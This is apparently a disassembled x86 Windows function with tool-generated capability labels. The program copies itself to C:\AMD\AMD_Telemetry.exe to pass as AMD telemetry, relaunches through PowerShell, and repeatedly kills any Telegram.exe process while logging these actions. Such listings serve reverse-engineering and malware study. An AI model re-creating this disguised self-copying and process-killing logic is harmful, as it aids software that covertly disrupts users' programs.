Function at 0x404af0
Capabilities:
Check for time delay via gettickcount
Check if file exists
Copy file
Create directory
Enumerate processes
Execute command
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:AMDAMD_Telemetry.exe
call esi
cmp eax, 0xffffffff
jne 0x404b6a
push str.C:AMD
call esi
cmp eax, 0xffffffff
jne 0x404b49
push 0
push str.C:AMD
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x404b6a
push 0
push str.C:AMDAMD_Telemetry.exe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x404b6a
mov byte [0x40b368], 1
jmp 0x404b73
cmp byte [0x40b368], 0
je 0x404b9e
push str.powershell.exe__Command__Start_Process_C:AMDAMD_Telemetry.exe_
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
call fcn.00402410
push 0x457
push 0x44c
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea eax, [ebp - 0x150]
push eax
call fcn.00403450
add esp, 4
mov ecx, eax
push 0x15
push str.AMD_TELEMETRY_STATUS_
push 0
call fcn.00403520
mov dword [ebp - 0x110], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x10c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x120], xmm0
push 4
movups xmm0, xmmword [eax]
push str..bin
movups xmmword [ebp - 0x120], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x110], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00403220
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0xf
jbe 0x404c5c
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c52
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
cmp ecx, 0xf
jbe 0x404cb3
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404ca9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404ca9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405955
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xorps xmm0, xmm0
xor ebx, ebx
mov edi, 0xf
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x154], edi
mov byte [ebp - 0x168], bl
call esi
mov eax, dword [0x407614]
xorps xmm0, xmm0
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x188], 0xc
movq xmm0, qword [str.Telegram.exe]
movq qword [ebp - 0x198], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x180], xmm0
mov dword [ebp - 0x184], edi
mov dword [ebp - 0x190], eax
mov byte [ebp - 0x18c], bl
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], edi
mov byte [ebp - 0x180], bl
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
lea eax, [ebp - 0x150]
push eax
call fcn.004020c0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x168]
cmp eax, esi
je 0x404d98
mov ecx, eax
call fcn.00401bb0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x168], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x158], xmm0
mov ebx, dword [ebp - 0x158]
mov edi, dword [ebp - 0x154]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0xf
jbe 0x404dd2
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404dc8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
cmp edi, 0xf
lea ecx, [ebp - 0x168]
cmova ecx, dword [ebp - 0x168]
cmp ebx, 4
jne 0x404e46
mov esi, ebx
mov edx, str.true
sub esi, ebx
jb 0x404e03
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x404e08
add ecx, 4
add edx, 4
sub esi, 4
jae 0x404df2
cmp esi, 0xfffffffc
je 0x404e3c
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x404e35
cmp esi, 0xfffffffd
je 0x404e3c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x404e35
cmp esi, 0xfffffffe
je 0x404e3c
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x404e35
cmp esi, 0xffffffff
je 0x404e3c
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x404e3c
sbb eax, eax
or eax, 1
jmp 0x404e3e
xor eax, eax
test eax, eax
jne 0x404e46
mov al, 1
jmp 0x404e48
xor al, al
mov byte [0x40b36a], al
lea eax, [ebp - 0x198]
push eax
call fcn.00402a50
add esp, 4
mov dword [ebp - 0x128], 0
test al, al
mov dword [ebp - 0x124], 0
lea eax, [ebp - 0x2dc]
mov dword [ebp - 0x2dc], 0x1f
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x138]
movups xmmword [ebp - 0x138], xmm0
push eax
je 0x404eed
mov byte [0x40b369], 1
call fcn.00401430
movups xmm0, xmmword [str.C:AMD_telemetry.log]
mov ecx, dword [ebp - 0x2dc]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], 0x14
movups xmmword [eax], xmm0
mov ecx, dword [0x407634]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], 0
lea eax, [ebp - 0x150]
push eax
call fcn.004027a0
add esp, 0xc
push 7
push str.online
jmp 0x404f42
mov byte [0x40b369], 0
call fcn.00401430
movups xmm0, xmmword [str.C:AMD_telemetry.log]
mov ecx, dword [ebp - 0x2dc]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], 0x14
movups xmmword [eax], xmm0
mov ecx, dword [0x407634]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], 0
lea eax, [ebp - 0x150]
push eax
call fcn.004027a0
add esp, 0xc
push 8
push str.offline
push 0
mov ecx, eax
call fcn.00403520
mov dword [ebp - 0x110], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x120], xmm0
mov dword [ebp - 0x10c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x120], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x110], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.00402e50
mov ecx, dword [ebp - 0x10c]
add esp, 8
cmp ecx, 0xf
jbe 0x404fe1
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404fd7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
mov ecx, dword [ebp - 0x13c]
mov byte [ebp - 0x120], 0
mov dword [ebp - 0x10c], 0xf
mov dword [ebp - 0x110], 0
cmp ecx, 0xf
jbe 0x405036
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40502c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
mov ecx, dword [ebp - 0x124]
mov byte [ebp - 0x150], 0
mov dword [ebp - 0x13c], 0xf
mov dword [ebp - 0x140], 0
cmp ecx, 0xf
jbe 0x40508b
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405081
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
cmp byte [0x40b36a], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
je 0x404d35
lea eax, [ebp - 0x198]
push eax
call fcn.00402a50
add esp, 4
test al, al
je 0x405639
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x4051c3
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4051bc
mov ebx, dword [ebp - 0x188]
nop
lea ecx, [ebp - 0x2b4]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405100
sub ecx, edx
lea eax, [ebp - 0x198]
cmp dword [ebp - 0x184], 0xf
cmova eax, dword [ebp - 0x198]
cmp ebx, ecx
jne 0x4051a7
mov esi, ebx
lea edx, [ebp - 0x2b4]
sub esi, 4
jb 0x405143
mov ecx, dword [eax]
cmp ecx, dword [edx]
jne 0x405148
add eax, 4
add edx, 4
sub esi, 4
jae 0x405132
cmp esi, 0xfffffffc
je 0x40517c
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x405175
cmp esi, 0xfffffffd
je 0x40517c
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x405175
cmp esi, 0xfffffffe
je 0x40517c
mov cl, byte [eax + 2]
cmp cl, byte [edx + 2]
jne 0x405175
cmp esi, 0xffffffff
je 0x40517c
mov al, byte [eax + 3]
cmp al, byte [edx + 3]
je 0x40517c
sbb eax, eax
or eax, 1
jmp 0x40517e
xor eax, eax
test eax, eax
jne 0x4051a7
push dword [ebp - 0x2d0]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4051a7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2d8]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4050f0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1b0]
push eax
call fcn.00403450
add esp, 4
mov ecx, eax
push 9
push str.telemetry
push 0
call fcn.00403520
mov dword [ebp - 0x128], 0
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x124], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
push 4
movups xmm0, xmmword [eax]
push str..log
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x128], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00403220
lea ecx, [ebp - 0x180]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x118], xmm0
movups xmmword [ebp - 0x150], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2e0], xmm0
movq qword [ebp - 0x140], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00401bb0
movups xmm0, xmmword [ebp - 0x118]
mov ecx, dword [ebp - 0x124]
movups xmmword [ebp - 0x180], xmm0
movq xmm0, qword [ebp - 0x2e0]
movq qword [ebp - 0x170], xmm0
cmp ecx, 0xf
jbe 0x4052d4
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4052ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp ecx, 0xf
jbe 0x405329
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40531f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
lea eax, [ebp - 0x1b0]
push eax
call fcn.004027a0
add esp, 4
mov ecx, eax
push 0xe
push str.Terminated_on
push 0
call fcn.00403520
mov ecx, dword [ebp - 0x170]
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x128], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, SysReAllocString
sub eax, ecx
cmp eax, 7
jb 0x405652
cmp dword [ebp - 0x16c], 0xf
lea ebx, [ebp - 0x180]
lea edi, [ecx + 7]
mov dword [ebp - 0x110], 0
cmova ebx, dword [ebp - 0x180]
lea esi, [ebp - 0x120]
mov eax, 0xf
mov dword [ebp - 0x10c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x120], xmm0
cmp edi, eax
jbe 0x405430
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x4053fb
mov eax, SysReAllocString
jmp 0x405406
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00401430
mov esi, eax
add esp, 8
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x120], esi
mov ecx, dword [str.C:AMD_]
push dword [ebp - 0x170]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x110], edi
mov dword [esi], ecx
mov ax, word [0x407394]
mov word [esi + 4], ax
mov al, byte [0x407396]
mov byte [esi + 6], al
lea eax, [esi + 7]
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
lea eax, [ebp - 0x138]
mov byte [esi + edi], 0
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00402e50
mov ecx, dword [ebp - 0x10c]
add esp, 0x14
cmp ecx, 0xf
jbe 0x4054ba
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4054b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
cmp ecx, 0xf
jbe 0x40550f
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405505
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp ecx, 0xf
jbe 0x405564
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40555a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ca3
push ecx
push edx
call fcn.00405955
add esp, 8
mov edi, dword [ebp - 0x140]
nop word [eax + eax]
sub esp, 0x18
lea ebx, [ebp - 0x180]
cmp dword [ebp - 0x13c], 0xf
mov esi, esp
xorps xmm0, xmm0
cmova ebx, dword [ebp - 0x150]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp edi, 0x7fffffff
ja 0x405652
cmp edi, 0xf
ja 0x4055c0
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [ebx]
movups xmmword [esi], xmm0
jmp 0x40560d
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x4055d3
mov eax, SysReAllocString
jmp 0x4055de
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0x2dc]
push eax
push esi
call fcn.00401430
mov ecx, dword [ebp - 0x2dc]
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push ebx
push eax
mov dword [esi], eax
mov dword [esi + 0x10], edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0x14
call fcn.00402b80
add esp, 0x18
test eax, eax
jne 0x405570
mov ebx, dword [ebp - 0x158]
mov edi, dword [ebp - 0x154]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov byte [0x40b36a], al
jmp 0x404d35
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov byte [0x40b369], 0
mov byte [0x40b36a], 0
jmp 0x404d35
call fcn.00403200
int3